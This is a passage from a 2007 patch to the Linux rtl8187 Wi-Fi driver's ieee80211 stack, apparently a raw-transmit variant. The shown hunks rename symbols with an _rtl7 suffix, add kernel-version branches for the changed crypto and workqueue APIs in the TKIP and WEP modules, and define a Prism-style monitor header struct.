skb->len - 8 - hdr_len, pos)) return -1; +#else + if (michael_mic_rtl7(tkey->tx_tfm_michael, &tkey->key[16], tkey->tx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, pos)) + return -1; +#endif return 0; } #if WIRELESS_EXT >= 18 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -527,7 +649,7 @@ wireless_send_event(dev, IWEVMICHAELMICFAILURE, &wrqu, (char *) &ev); } #elif WIRELESS_EXT >= 15 -static void ieee80211_michael_mic_failure(struct net_device *dev, +static void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -543,7 +665,7 @@ wireless_send_event(dev, IWEVCUSTOM, &wrqu, buf); } #else /* WIRELESS_EXT >= 15 */ -static inline void ieee80211_michael_mic_failure(struct net_device *dev, +static inline void ieee80211_michael_mic_failure_rtl7(struct net_device *dev, struct ieee80211_hdr *hdr, int keyidx) { @@ -551,7 +673,7 @@ #endif /* WIRELESS_EXT >= 15 */ -static int ieee80211_michael_mic_verify(struct sk_buff *skb, int keyidx, +static int ieee80211_michael_mic_verify_rtl7(struct sk_buff *skb, int keyidx, int hdr_len, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -560,10 +682,16 @@ if (!tkey->key_set) return -1; - michael_mic_hdr(skb, tkey->rx_hdr); - if (michael_mic(tkey, &tkey->key[24], tkey->rx_hdr, + michael_mic_hdr_rtl7(skb, tkey->rx_hdr); +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) + if (michael_mic_rtl7(tkey, &tkey->key[24], tkey->rx_hdr, skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) return -1; +#else + if (michael_mic_rtl7(tkey->rx_tfm_michael, &tkey->key[24], tkey->rx_hdr, + skb->data + hdr_len, skb->len - 8 - hdr_len, mic)) + return -1; +#endif if (memcmp(mic, skb->data + skb->len - 8, 8) != 0) { struct ieee80211_hdr *hdr; hdr = (struct ieee80211_hdr *) skb->data; @@ -572,7 +700,7 @@ skb->dev ? skb->dev->name : "N/A", MAC_ARG(hdr->addr2), keyidx); if (skb->dev) - ieee80211_michael_mic_failure(skb->dev, hdr, keyidx); + ieee80211_michael_mic_failure_rtl7(skb->dev, hdr, keyidx); tkey->dot11RSNAStatsTKIPLocalMICFailures++; return -1; } @@ -588,18 +716,33 @@ } -static int ieee80211_tkip_set_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; int keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) struct crypto_tfm *tfm = tkey->tfm_michael; struct crypto_tfm *tfm2 = tkey->tfm_arc4; +#else + struct crypto_hash *tfm = tkey->tx_tfm_michael; + struct crypto_blkcipher *tfm2 = tkey->tx_tfm_arc4; + struct crypto_hash *tfm3 = tkey->rx_tfm_michael; + struct crypto_blkcipher *tfm4 = tkey->rx_tfm_arc4; +#endif keyidx = tkey->key_idx; memset(tkey, 0, sizeof(*tkey)); tkey->key_idx = keyidx; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) tkey->tfm_michael = tfm; tkey->tfm_arc4 = tfm2; +#else + tkey->tx_tfm_michael = tfm; + tkey->tx_tfm_arc4 = tfm2; + tkey->rx_tfm_michael = tfm3; + tkey->rx_tfm_arc4 = tfm4; +#endif + if (len == TKIP_KEY_LEN) { memcpy(tkey->key, key, TKIP_KEY_LEN); tkey->key_set = 1; @@ -618,7 +761,7 @@ } -static int ieee80211_tkip_get_key(void *key, int len, u8 *seq, void *priv) +static int ieee80211_tkip_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct ieee80211_tkip_data *tkey = priv; @@ -648,7 +791,7 @@ } -static char * ieee80211_tkip_print_stats(char *p, void *priv) +static char * ieee80211_tkip_print_stats_rtl7(char *p, void *priv) { struct ieee80211_tkip_data *tkip = priv; p += sprintf(p, "key[%d] alg=TKIP key_set=%d " @@ -675,34 +818,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_tkip = { +static struct ieee80211_crypto_ops ieee80211_crypt_tkip_rtl7 = { .name = "TKIP", - .init = ieee80211_tkip_init, - .deinit = ieee80211_tkip_deinit, - .encrypt_mpdu = ieee80211_tkip_encrypt, - .decrypt_mpdu = ieee80211_tkip_decrypt, - .encrypt_msdu = ieee80211_michael_mic_add, - .decrypt_msdu = ieee80211_michael_mic_verify, - .set_key = ieee80211_tkip_set_key, - .get_key = ieee80211_tkip_get_key, - .print_stats = ieee80211_tkip_print_stats, + .init = ieee80211_tkip_init_rtl7, + .deinit = ieee80211_tkip_deinit_rtl7, + .encrypt_mpdu = ieee80211_tkip_encrypt_rtl7, + .decrypt_mpdu = ieee80211_tkip_decrypt_rtl7, + .encrypt_msdu = ieee80211_michael_mic_add_rtl7, + .decrypt_msdu = ieee80211_michael_mic_verify_rtl7, + .set_key = ieee80211_tkip_set_key_rtl7, + .get_key = ieee80211_tkip_get_key_rtl7, + .print_stats = ieee80211_tkip_print_stats_rtl7, .extra_prefix_len = 4 + 4, /* IV + ExtIV */ .extra_postfix_len = 8 + 4, /* MIC + ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_tkip_init(void) +static int __init ieee80211_crypto_tkip_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_tkip); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -static void __exit ieee80211_crypto_tkip_exit(void) +static void __exit ieee80211_crypto_tkip_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_tkip); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_tkip_rtl7); } -module_init(ieee80211_crypto_tkip_init); -module_exit(ieee80211_crypto_tkip_exit); +module_init(ieee80211_crypto_tkip_init_rtl7); +module_exit(ieee80211_crypto_tkip_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_crypt_wep.c rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c --- rtl8187_orig/ieee80211/ieee80211_crypt_wep.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_crypt_wep.c 2007-06-08 23:30:47.000000000 +0200 @@ -9,7 +9,6 @@ * more details. */ -#include #include #include #include @@ -18,13 +17,24 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" #include -#include #include +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,20) + #include +#else + #include +#endif + MODULE_AUTHOR("Jouni Malinen"); MODULE_DESCRIPTION("Host AP crypt: WEP"); MODULE_LICENSE("GPL"); @@ -36,11 +46,16 @@ u8 key[WEP_KEY_LEN + 1]; u8 key_len; u8 key_idx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) struct crypto_tfm *tfm; +#else + struct crypto_blkcipher *rx_tfm; + struct crypto_blkcipher *tx_tfm; +#endif }; -static void * prism2_wep_init(int keyidx) +static void * prism2_wep_init_rtl7(int keyidx) { struct prism2_wep_data *priv; @@ -50,13 +65,30 @@ memset(priv, 0, sizeof(*priv)); priv->key_idx = keyidx; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) priv->tfm = crypto_alloc_tfm("arc4", 0); if (priv->tfm == NULL) { printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " "crypto API arc4\n"); goto fail; } +#else + priv->tx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->tx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->tx_tfm = NULL; + goto fail; + } + priv->rx_tfm = crypto_alloc_blkcipher("ecb(arc4)", 0, CRYPTO_ALG_ASYNC); + if (IS_ERR(priv->rx_tfm)) { + printk(KERN_DEBUG "ieee80211_crypt_wep: could not allocate " + "crypto API arc4\n"); + priv->rx_tfm = NULL; + goto fail; + } +#endif /* start WEP IV from a random value */ get_random_bytes(&priv->iv, 4); @@ -64,19 +96,35 @@ fail: if (priv) { +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (priv->tfm) crypto_free_tfm(priv->tfm); +#else + if (priv->tx_tfm) + crypto_free_blkcipher(priv->tx_tfm); + if (priv->rx_tfm) + crypto_free_blkcipher(priv->rx_tfm); +#endif kfree(priv); } return NULL; } -static void prism2_wep_deinit(void *priv) +static void prism2_wep_deinit_rtl7(void *priv) { struct prism2_wep_data *_priv = priv; +#if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19) if (_priv && _priv->tfm) crypto_free_tfm(_priv->tfm); +#else + if (_priv) { + if (_priv->tx_tfm) + crypto_free_blkcipher(_priv->tx_tfm); + if (_priv->rx_tfm) + crypto_free_blkcipher(_priv->rx_tfm); + } +#endif kfree(priv); } @@ -87,13 +135,16 @@ * * WEP frame payload: IV + TX key idx, RC4(data), ICV = RC4(CRC32(data)) */ -static int prism2_wep_encrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_encrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, len; u8 key[WEP_KEY_LEN + 3]; u8 *pos, *icv; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->tx_tfm }; +#endif if (skb_headroom(skb) < 4 || skb_tailroom(skb) < 4 || skb->len < hdr_len) @@ -134,13 +185,21 @@ icv[2] = crc >> 16; icv[3] = crc >> 24; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->tx_tfm, key, klen); +#endif sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = len + 4; - crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) + crypto_cipher_encrypt(wep->tfm, &sg, &sg, len + 4); return 0; +#else + return crypto_blkcipher_encrypt(&desc, &sg, &sg, len + 4); +#endif } @@ -151,13 +210,16 @@ * Returns 0 if frame was decrypted successfully and ICV was correct and -1 on * failure. If frame is OK, IV and ICV will be removed. */ -static int prism2_wep_decrypt(struct sk_buff *skb, int hdr_len, void *priv) +static int prism2_wep_decrypt_rtl7(struct sk_buff *skb, int hdr_len, void *priv) { struct prism2_wep_data *wep = priv; u32 crc, klen, plen; u8 key[WEP_KEY_LEN + 3]; u8 keyidx, *pos, icv[4]; struct scatterlist sg; +#if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,19)) + struct blkcipher_desc desc = { .tfm = wep->rx_tfm }; +#endif if (skb->len < hdr_len + 8) return -1; @@ -178,11 +240,22 @@ /* Apply RC4 to data and compute CRC32 over decrypted data */ plen = skb->len - hdr_len - 8; +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_setkey(wep->tfm, key, klen); +#else + crypto_blkcipher_setkey(wep->rx_tfm, key, klen); +#endif + sg.page = virt_to_page(pos); sg.offset = offset_in_page(pos); sg.length = plen + 4; + +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) crypto_cipher_decrypt(wep->tfm, &sg, &sg, plen + 4); +#else + if(crypto_blkcipher_decrypt(&desc, &sg, &sg, plen + 4)) + return -7; +#endif crc = ~crc32_le(~0, pos, plen); icv[0] = crc; @@ -203,7 +276,7 @@ } -static int prism2_wep_set_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_set_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -217,7 +290,7 @@ } -static int prism2_wep_get_key(void *key, int len, u8 *seq, void *priv) +static int prism2_wep_get_key_rtl7(void *key, int len, u8 *seq, void *priv) { struct prism2_wep_data *wep = priv; @@ -230,7 +303,7 @@ } -static char * prism2_wep_print_stats(char *p, void *priv) +static char * prism2_wep_print_stats_rtl7(char *p, void *priv) { struct prism2_wep_data *wep = priv; p += sprintf(p, "key[%d] alg=WEP len=%d\n", @@ -239,34 +312,34 @@ } -static struct ieee80211_crypto_ops ieee80211_crypt_wep = { +static struct ieee80211_crypto_ops ieee80211_crypt_wep_rtl7 = { .name = "WEP", - .init = prism2_wep_init, - .deinit = prism2_wep_deinit, - .encrypt_mpdu = prism2_wep_encrypt, - .decrypt_mpdu = prism2_wep_decrypt, + .init = prism2_wep_init_rtl7, + .deinit = prism2_wep_deinit_rtl7, + .encrypt_mpdu = prism2_wep_encrypt_rtl7, + .decrypt_mpdu = prism2_wep_decrypt_rtl7, .encrypt_msdu = NULL, .decrypt_msdu = NULL, - .set_key = prism2_wep_set_key, - .get_key = prism2_wep_get_key, - .print_stats = prism2_wep_print_stats, + .set_key = prism2_wep_set_key_rtl7, + .get_key = prism2_wep_get_key_rtl7, + .print_stats = prism2_wep_print_stats_rtl7, .extra_prefix_len = 4, /* IV */ .extra_postfix_len = 4, /* ICV */ .owner = THIS_MODULE, }; -static int __init ieee80211_crypto_wep_init(void) +static int __init ieee80211_crypto_wep_init_rtl7(void) { - return ieee80211_register_crypto_ops(&ieee80211_crypt_wep); + return ieee80211_register_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -static void __exit ieee80211_crypto_wep_exit(void) +static void __exit ieee80211_crypto_wep_exit_rtl7(void) { - ieee80211_unregister_crypto_ops(&ieee80211_crypt_wep); + ieee80211_unregister_crypto_ops_rtl7(&ieee80211_crypt_wep_rtl7); } -module_init(ieee80211_crypto_wep_init); -module_exit(ieee80211_crypto_wep_exit); +module_init(ieee80211_crypto_wep_init_rtl7); +module_exit(ieee80211_crypto_wep_exit_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211.h rtl8187_rawtx/ieee80211/ieee80211.h --- rtl8187_orig/ieee80211/ieee80211.h 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211.h 2007-06-08 23:30:44.000000000 +0200 @@ -156,6 +156,22 @@ struct list_head list; }; +#define LWNG_CAP_DID_BASE (4 | (1 << 6)) /* section 4, group 1 */ +/* ARPHRD_IEEE80211_PRISM uses a bloated version of Prism2 RX frame header + * (from linux-wlan-ng) */ +struct linux_wlan_ng_val { + u32 did; + u16 status, len; + u32 data; +} __attribute__ ((packed)); + +struct linux_wlan_ng_prism_hdr { + u32 msgcode, msglen; + char devname[16]; + struct linux_wlan_ng_val hosttime, mactime, channel, rssi, sq, signal, + noise, rate, istx, frmlen; +} __attribute__ ((packed)); + struct ieee80211_hdr { u16 frame_ctl; u16 duration_id; @@ -840,14 +856,14 @@ #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,11)) -extern inline int is_multicast_ether_addr(const u8 *addr) +extern inline int is_multicast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] != 0xff) && (0x01 & addr[0])); } #endif #if (LINUX_VERSION_CODE <= KERNEL_VERSION(2,6,13)) -extern inline int is_broadcast_ether_addr(const u8 *addr) +extern inline int is_broadcast_ether_addr_rtl7(const u8 *addr) { return ((addr[0] == 0xff) && (addr[1] == 0xff) && (addr[2] == 0xff) && \ (addr[3] == 0xff) && (addr[4] == 0xff) && (addr[5] == 0xff)); @@ -1015,10 +1031,16 @@ struct timer_list beacon_timer; struct work_struct associate_complete_wq; + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) + struct delayed_work associate_retry_wq; + struct delayed_work softmac_scan_wq; +#else struct work_struct associate_retry_wq; + struct work_struct softmac_scan_wq; +#endif struct work_struct start_ibss_wq; struct work_struct associate_procedure_wq; - struct work_struct softmac_scan_wq; struct work_struct wx_sync_scan_wq; struct workqueue_struct *wq; @@ -1154,12 +1176,12 @@ -extern inline void *ieee80211_priv(struct net_device *dev) +extern inline void *ieee80211_priv_rtl7(struct net_device *dev) { return ((struct ieee80211_device *)netdev_priv(dev))->priv; } -extern inline int ieee80211_is_empty_essid(const char *essid, int essid_len) +extern inline int ieee80211_is_empty_essid_rtl7(const char *essid, int essid_len) { /* Single white space is for Linksys APs */ if (essid_len == 1 && essid[0] == ' ') @@ -1175,7 +1197,7 @@ return 1; } -extern inline int ieee80211_is_valid_mode(struct ieee80211_device *ieee, int mode) +extern inline int ieee80211_is_valid_mode_rtl7(struct ieee80211_device *ieee, int mode) { /* * It is possible for both access points and our device to support @@ -1201,7 +1223,7 @@ return 0; } -extern inline int ieee80211_get_hdrlen(u16 fc) +extern inline int ieee80211_get_hdrlen_rtl7(u16 fc) { int hdrlen = 24; @@ -1229,140 +1251,144 @@ /* ieee80211.c */ -extern void free_ieee80211(struct net_device *dev); -extern struct net_device *alloc_ieee80211(int sizeof_priv); +extern void free_ieee80211_rtl7(struct net_device *dev); +extern struct net_device *alloc_ieee80211_rtl7(int sizeof_priv); -extern int ieee80211_set_encryption(struct ieee80211_device *ieee); +extern int ieee80211_set_encryption_rtl7(struct ieee80211_device *ieee); /* ieee80211_tx.c */ -extern int ieee80211_encrypt_fragment( +extern int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len); -extern int ieee80211_xmit(struct sk_buff *skb, +extern int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev); -extern void ieee80211_txb_free(struct ieee80211_txb *); +extern void ieee80211_txb_free_rtl7(struct ieee80211_txb *); /* ieee80211_rx.c */ -extern int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +extern int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats); -extern void ieee80211_rx_mgt(struct ieee80211_device *ieee, +extern void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats); /* ieee80211_wx.c */ -extern int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); -extern int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *key); /* ieee80211_softmac.c */ -extern short ieee80211_is_54g(struct ieee80211_network net); -extern short ieee80211_is_shortslot(struct ieee80211_network net); -extern int ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +extern short ieee80211_is_54g_rtl7(struct ieee80211_network net); +extern short ieee80211_is_shortslot_rtl7(struct ieee80211_network net); +extern int ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype); -extern void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net); +extern void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net); -extern void ieee80211_softmac_xmit(struct ieee80211_txb *txb, struct ieee80211_device *ieee); -extern void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_master_bss(struct ieee80211_device *ieee); -extern void ieee80211_start_ibss(struct ieee80211_device *ieee); -extern void ieee80211_softmac_init(struct ieee80211_device *ieee); -extern void ieee80211_softmac_free(struct ieee80211_device *ieee); -extern void ieee80211_associate_abort(struct ieee80211_device *ieee); -extern void ieee80211_disassociate(struct ieee80211_device *ieee); -extern void ieee80211_stop_scan(struct ieee80211_device *ieee); -extern void ieee80211_start_scan_syncro(struct ieee80211_device *ieee); -extern void ieee80211_check_all_nets(struct ieee80211_device *ieee); -extern void ieee80211_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_start_protocol(struct ieee80211_device *ieee); -extern void ieee80211_softmac_stop_protocol(struct ieee80211_device *ieee); -extern void ieee80211_reset_queue(struct ieee80211_device *ieee); -extern void ieee80211_wake_queue(struct ieee80211_device *ieee); -extern void ieee80211_stop_queue(struct ieee80211_device *ieee); -extern struct sk_buff *ieee80211_get_beacon(struct ieee80211_device *ieee); -extern void ieee80211_start_send_beacons(struct ieee80211_device *ieee); -extern void ieee80211_stop_send_beacons(struct ieee80211_device *ieee); -extern int ieee80211_wpa_supplicant_ioctl(struct ieee80211_device *ieee, struct iw_point *p); -extern void notify_wx_assoc_event(struct ieee80211_device *ieee); -extern void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success); +extern void ieee80211_softmac_xmit_rtl7(struct ieee80211_txb *txb, struct ieee80211_device *ieee); +extern void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_master_bss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_ibss_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_init_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_free_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_disassociate_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_check_all_nets_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_start_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_softmac_stop_protocol_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_reset_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_wake_queue_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_queue_rtl7(struct ieee80211_device *ieee); +extern struct sk_buff *ieee80211_get_beacon_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee); +extern int ieee80211_wpa_supplicant_ioctl_rtl7(struct ieee80211_device *ieee, struct iw_point *p); +extern void notify_wx_assoc_event_rtl7(struct ieee80211_device *ieee); +extern void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success); /* ieee80211_softmac_wx.c */ -extern int ieee80211_wx_get_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *ext); -extern int ieee80211_wx_set_wap(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_wap_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *awrq, char *extra); -extern int ieee80211_wx_get_essid(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); +extern int ieee80211_wx_get_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a,union iwreq_data *wrqu,char *b); -extern int ieee80211_wx_set_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_rate(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_rate_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_scan(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_essid(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_essid_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_mode(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_mode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_set_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_set_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern int ieee80211_wx_get_freq(struct ieee80211_device *ieee, struct iw_request_info *a, +extern int ieee80211_wx_get_freq_rtl7(struct ieee80211_device *ieee, struct iw_request_info *a, union iwreq_data *wrqu, char *b); -extern void ieee80211_wx_sync_scan_wq(struct ieee80211_device *ieee); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +extern void ieee80211_wx_sync_scan_wq_rtl7(struct work_struct *work); +#else +extern void ieee80211_wx_sync_scan_wq_rtl7(struct ieee80211_device *ieee); +#endif -extern int ieee80211_wx_set_rawtx(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_rawtx_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_name(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_name_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_set_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_set_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern int ieee80211_wx_get_power(struct ieee80211_device *ieee, +extern int ieee80211_wx_get_power_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra); -extern const long ieee80211_wlan_frequencies[]; +extern const long ieee80211_wlan_frequencies_rtl7[]; -extern inline void ieee80211_increment_scans(struct ieee80211_device *ieee) +extern inline void ieee80211_increment_scans_rtl7(struct ieee80211_device *ieee) { ieee->scans++; } -extern inline int ieee80211_get_scans(struct ieee80211_device *ieee) +extern inline int ieee80211_get_scans_rtl7(struct ieee80211_device *ieee) { return ieee->scans; } @@ -1372,7 +1398,7 @@ const char *s = essid; char *d = escaped; - if (ieee80211_is_empty_essid(essid, essid_len)) { + if (ieee80211_is_empty_essid_rtl7(essid, essid_len)) { memcpy(escaped, "", sizeof("")); return escaped; } diff -Naur rtl8187_orig/ieee80211/ieee80211_module.c rtl8187_rawtx/ieee80211/ieee80211_module.c --- rtl8187_orig/ieee80211/ieee80211_module.c 2007-03-13 23:45:09.000000000 +0100 +++ rtl8187_rawtx/ieee80211/ieee80211_module.c 2007-06-08 23:30:47.000000000 +0200 @@ -31,7 +31,6 @@ *******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" MODULE_DESCRIPTION("802.11 data/management/control stack"); @@ -60,7 +65,7 @@ #define DRV_NAME "ieee80211" -static inline int ieee80211_networks_allocate(struct ieee80211_device *ieee) +static inline int ieee80211_networks_allocate_rtl7(struct ieee80211_device *ieee) { if (ieee->networks) return 0; @@ -80,7 +85,7 @@ return 0; } -static inline void ieee80211_networks_free(struct ieee80211_device *ieee) +static inline void ieee80211_networks_free_rtl7(struct ieee80211_device *ieee) { if (!ieee->networks) return; @@ -88,7 +93,7 @@ ieee->networks = NULL; } -static inline void ieee80211_networks_initialize(struct ieee80211_device *ieee) +static inline void ieee80211_networks_initialize_rtl7(struct ieee80211_device *ieee) { int i; @@ -99,7 +104,7 @@ } -struct net_device *alloc_ieee80211(int sizeof_priv) +struct net_device *alloc_ieee80211_rtl7(int sizeof_priv) { struct ieee80211_device *ieee; struct net_device *dev; @@ -113,17 +118,17 @@ goto failed; } ieee = netdev_priv(dev); - dev->hard_start_xmit = ieee80211_xmit; + dev->hard_start_xmit = ieee80211_xmit_rtl7; ieee->dev = dev; - err = ieee80211_networks_allocate(ieee); + err = ieee80211_networks_allocate_rtl7(ieee); if (err) { IEEE80211_ERROR("Unable to allocate beacon storage: %d\n", err); goto failed; } - ieee80211_networks_initialize(ieee); + ieee80211_networks_initialize_rtl7(ieee); /* Default fragmentation threshold is maximum payload size */ ieee->fts = DEFAULT_FTS; @@ -138,7 +143,7 @@ INIT_LIST_HEAD(&ieee->crypt_deinit_list); init_timer(&ieee->crypt_deinit_timer); ieee->crypt_deinit_timer.data = (unsigned long)ieee; - ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler; + ieee->crypt_deinit_timer.function = ieee80211_crypt_deinit_handler_rtl7; spin_lock_init(&ieee->lock); @@ -149,7 +154,7 @@ ieee->ieee802_1x = 1; ieee->raw_tx = 0; - ieee80211_softmac_init(ieee); + ieee80211_softmac_init_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) INIT_LIST_HEAD(&ieee->ibss_mac_hash[i]); @@ -167,7 +172,7 @@ } -void free_ieee80211(struct net_device *dev) +void free_ieee80211_rtl7(struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -175,9 +180,9 @@ struct list_head *p, *q; 